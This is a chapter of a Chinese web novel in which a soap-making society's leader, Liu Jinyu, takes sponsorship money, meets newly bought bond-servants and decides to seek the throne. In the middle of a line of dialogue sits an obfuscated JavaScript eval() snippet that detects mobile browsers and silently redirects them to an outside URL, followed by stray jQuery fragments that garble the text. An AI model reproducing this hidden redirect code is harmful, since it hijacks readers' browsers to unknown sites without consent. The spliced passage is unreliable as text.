42. 决定

“把箱子打开。”


王嗣乾下了命令,跟他来的小厮打开两个箱子,里面满满都是银子。


杨文煊欢喜不已,刘今钰更是合不拢嘴,对着王嗣乾竖起两个大拇指。


王嗣乾笑了笑,“刘公子,一共六百两。三百两是我借与你的,另外三百两,是我兄长借的。


“用你的话,叫‘赞助’,希望往后贵社的肥皂只用我王家的竹器包装。”


杨文煊看过去,上下打量王嗣乾,那眼神叫王嗣乾不太舒服。


刘今钰的目光也从银子抽离,大咧咧笑道,“王嗣乾,你也学会抬价了!但只用你屋包装不可能!


“不过只要你屋产品过关,五年内我不会换了你屋,五年后的事五年后再说!


“我可以保证,明年你屋能从大同社收到不少于五百两的订单。”


王嗣乾没有犹豫,“成交!”


刘今钰乐滋滋地叫唐廷瀚把银子拿下去,却看到杨文煊朝她挤眉弄眼,刘今钰以为杨文煊嘲笑她,恶狠狠瞪回去。


见刘今钰始终没明白自己意思,他只得站出来向王嗣乾拱手道,“穉潜先生,我叫杨文煊,没有字,叫我文煊或者直呼我名皆可。我是刘今钰干弟,也是大同社副社长。”


“杨文煊?”王嗣乾在心底默念了一遍杨文煊的名字。


他早听过这个名字,刘今钰的事迹中经常出现这个人名。


当面见到,他总觉得此人跟刘今钰有许多相同特质,两人间说不清道不明的相似让他略有些烦闷。


但没耽误太久,他便拱手回道,“杨副社长没必要喊我穉潜先生,你我平辈论交即可。敢问杨副社长贵庚?”


杨文煊也回了礼,“已满二十一……喔,按时兴说法,我今年虚岁二十二,比我义姐小两岁。”


“时兴说法?真奇怪的说法!”王嗣乾在心底这么一想,刚要张嘴回复,却突然意识到“二十二”和“小两岁”这两个字眼,一张脸顿时垮下来。


他久久不说话,刘今钰等不急问道,“怎不说话了?”


王嗣乾尴尬一笑,“我二十一岁。”


“二十一?比我小两……三岁。比我小三岁!”刘今钰猛地打量起王嗣乾。“没看出来,你比我还小三岁!”


说着她又得意洋洋地笑起来,“那你占了我便宜!我不该喊你王兄!你得喊我姐姐!不过,称兄也无妨。”


刘今钰放肆笑着,王嗣乾却显得尴尬,没说话。


杨文煊则在一旁偷笑,见刘今钰还要借题发挥,忙插嘴道,“老刘,你莫忘记那香皂!”


刘今钰恍然大悟,“你早说嘛!”说着拍拍一脸疑惑的王嗣乾的肩膀,“王老弟,你跟我来。”


王嗣乾被“王老弟”这个称呼叫的脸都黑了。但刘今钰已自顾自地走出正厅。


杨文煊憋着笑喊了他一声,他只得吩咐小厮到门房等他,然后迈步跟上去。


他们走到一间有人看守的库房——或者说临时用作库房的书房。


刘今钰走进来,拿起一个瓷盒,招呼他赶紧过去。他黑着脸走过去,刘今钰将瓷盒打开,里面有一块黄色的圆形肥皂。


刚一打开,一股香味扑面而来。


好浓的桂花香!


王嗣乾惊诧不已。以前的肥皂基本没什么味道,洗过后得马上去闻才有点清新的草木香味。


他细看盒中肥皂,发现这肥皂远比之前的药皂、玉肌皂细腻。


光是看起来、闻起来,这款桂花香肥皂,已经远胜之前的肥皂。


杨文煊对王嗣乾的反应很满意。这可是他发了好大功夫才研发出的新品。


跟之前的产品相比,这款才是添加了香精、真正可称作香皂、与现今的猪胰子之类彻底拉开差距的巅峰之作。


当然,香皂的改进不止这点,除制作工艺的优化,还增加了滑石粉等提高香皂细腻程度的东西。


不过香精提取对他们而言仍旧困难,他只做出一批还算满意的桂花香皂,剔除其中次品,只剩一千一百多块成品。


他们打算用一百多块做噱头,送给“名人”打广告,再用那一千块搞饥饿营销。


“王兄,你帮了我们蛮多忙。这是刚出的桂花香皂,有多好你也看在眼里,目前只做出一千一百块。我们为你准备了十块以表感谢。”


杨文煊拿出一个礼盒,里面自然是香皂。


王嗣乾忙推辞道,“使不得!我没帮上忙。无论是在东山,还是蒋天锦之事,我都没帮上,我受之有愧……”


王嗣乾面露愧色,刘今钰直接将礼盒塞他怀里,里面虽然填了东西,但仍能听见瓷盒动作的清脆声响。


“你莫客气,给你便收下,收下便帮我们宣传。桂花香皂今年就这一千块,先到先得!”


王嗣乾还想拒绝,看着刘今钰的眼神却只能把话吞下去。


“还有,这里面其实有十四块。上次你在车家闹事,车以遵和蒋大年那里,你各送两块!包装你自己搞,我不管。”


王嗣乾呆住。


“你这小子,觉得我不晓得?”刘今钰摇摇头,骂道,“你也是蠢!寻蒋大年有屁用!白遭罪!


“再说我是甚么人?我会吃亏么?现下蒋家是不是服服帖帖?你真找打!下次皮痒了告诉我,我来揍你,保证又疼又不留伤!”


耳畔隐隐约约响起什么“艾斯艾母爱好者”,她瞪过去,杨文煊顿时止住笑,若无其事地看向别的地方。


她又去看王嗣乾,他被她骂得脸颊通红。她看了眼王嗣乾额头包裹的白布,想问他额头上的伤多久会好,刚张嘴又闭上。


把话咽下去,她道,“王嗣乾,你快回去,该送的礼赶紧去送。我去拟你家与我社合作的契书,写好了喊你——


“你莫急,我先写,到时拿给你屋长辈看看,他不满意便提出来,我再改,我们约定好了便开始合作。


“他不想签,不想留下文书也无妨,我都会按最后说好的条件办。好啦好啦,莫废话了,回去办事,办完便去休息!”


打发走王嗣乾,杨文煊问她,“你俩到底什么情况。不是‘他不会嫁给你,你不会嫁给他’吗?你不知道,他刚刚看你的眼神,啧啧,都快拉丝了。”


刘今钰耸耸肩,“我也没办法,谁叫老子魅力四射。”


他俩笑了一阵,刘今钰才稍稍认真些说道,“老实与你说,姓王的长得帅,性子也算不错,我又不是断情绝爱的女魔头,确实有点好感。


“但是我俩不可能,家庭的阻碍,事业的冲突,观念的矛盾,跟天堑似的。我不能耽误别人,听说他娘给他张罗娶亲呢,挺好,他这个年纪在这个时代已是‘大龄剩男’了。”


杨文煊取笑她,说她该冲破一切阻碍,谈一场轰轰烈烈的恋爱,刘今钰肉麻不已,骂咧咧躲去书房草拟契书了。


黄昏时她把契书拟好,便听见前面院子传来吵闹的声音。她心生疑惑,迈开步子往前院走去。


前院的天井挤着二十几个人,三四个人挨在一起,多为成年男女和小孩的组合。


他们穿着一身破布,在寒风里打着哆嗦,面有菜色,眼睛里藏着对檐廊下唐全的畏惧和对未来的担忧。


“等会我带你们去小院子里,这几日你们住在那里,好生休养。”


唐全很是熟练地说着同一套台词。


“过些日子去乡下,会有人安排你们做事。放心,不难,包吃


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056832|159702||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


包住,做得好还有工钱。


“你们老实做够三年,便消了你们奴籍,到时继续留下做事还是离开,你们自便。”


天井里,好些人脸上露出警惕的神色,唐全知道这些人被坑惨了,不相信天下有这么好的事。


他也没多说什么,正准备带人离开,余光看到走来的刘今钰,赶忙转身迎上去,天井里众人的目光也随之到了刘今钰身上。


唐全压着声音对刘今钰说道,“社长,这些都是杨副社长和二爷从牙行买回来的。”


顿了顿,他又殷勤地说道,“社长,副社长在正厅吃晚饭。”


刘今钰点点头,“辛苦,你去忙。”


唐全连忙表示“应该的”。


当然他也知道这位社长不喜欢听废话,说完这些就回到原来位置,面朝人群介绍起刘今钰。


人们露出敬畏神情。


他们不是傻子,哪怕心里觉得女人当家不对也不敢表露半点其他情绪。


唐全向刘今钰请示后,将忧心忡忡的人们带离前院。


一群人动起来,动静总会有些大。唐全连声呵斥,却又因刘今钰在不敢太过严厉。


刘今钰倒没太在意,谁会指望一群几年甚至一辈子都没吃饱过饭的人守规矩?


她走进正厅。杨文煊心不在焉地往嘴巴里放米饭,每次就几粒,有时候米粒掉了他也不知道,咬咬筷子像是什么都没发现似的咀嚼空气。


刘今钰坐在他对面,椅子脚跟地面的摩擦声让杨文煊惊醒过来。


他有些失措地说道,“啊……老刘?你怎么来了?”


“什么我怎么来了?吃饭也不知道叫我一声。”


刘今钰端起碗,夹了几块肥瘦相间的五花肉送进嘴里。


“妈的,饿死老子了!话说回来,你干什么呢?一副失了魂魄的模样,失恋啦?”


“失个屁恋!”杨文煊被气笑了,“我只是……”他的语气低落下去,“有些想家了。”


刘今钰愣住。


杨文煊叹道,“方才那些可怜人害我想家了。他们都是一家人,八月的时候被江川王府的校尉坑害的。


“当时,王府校尉在街上高价买奴,把人带走后又说买来的这有问题那有问题,去讹卖家。


“卖家其实都是被卖者的父母,为得钱周济才卖儿鬻女,被校尉这么一讹,家里仅剩的那点财产被讹走不说,一大家子都得卖身为奴。”


杨文煊又是伤心又是气愤,“哼!那校尉也知道自己做的不地道,不敢把这些人收入王府。


“将别人一大家人高价卖给牙行,又仗着王府的势力让人牙‘免费赠送’一批奴仆,也是够无耻的。”


脑中惊雷炸起。


两个月前大街上的一幕在她脑袋中无比清晰地浮现。


她甚至还记得那个校尉叫作田环。


人怎会贪得无厌至此?


连仅仅只剩下自己一具躯体的穷人、可怜人也要吃光抹尽?


“你怎么了?”


杨文煊的声音像是从遥远的高空飘来。


“老杨,你没事吧?”


声音落了地,那些模模糊糊但又无比真切,在哭泣在呐喊但更多的是蜷缩着身子坐在、躺在地上一动不动、一言不发的人影破灭。


她像是刚从噩梦中惊醒,有些迷糊地回道,“啊?”


吐出一口浊气,她迎上杨文煊担忧的目光。


沉默片刻,她的眼神陡然坚毅,“老杨,我决定了,我做好决定了。”


杨文煊不解,“决定?”


“老杨,我决定了。”她握住好友的双手,“我要救天下百姓,我要这万里河山,我要……当皇帝!”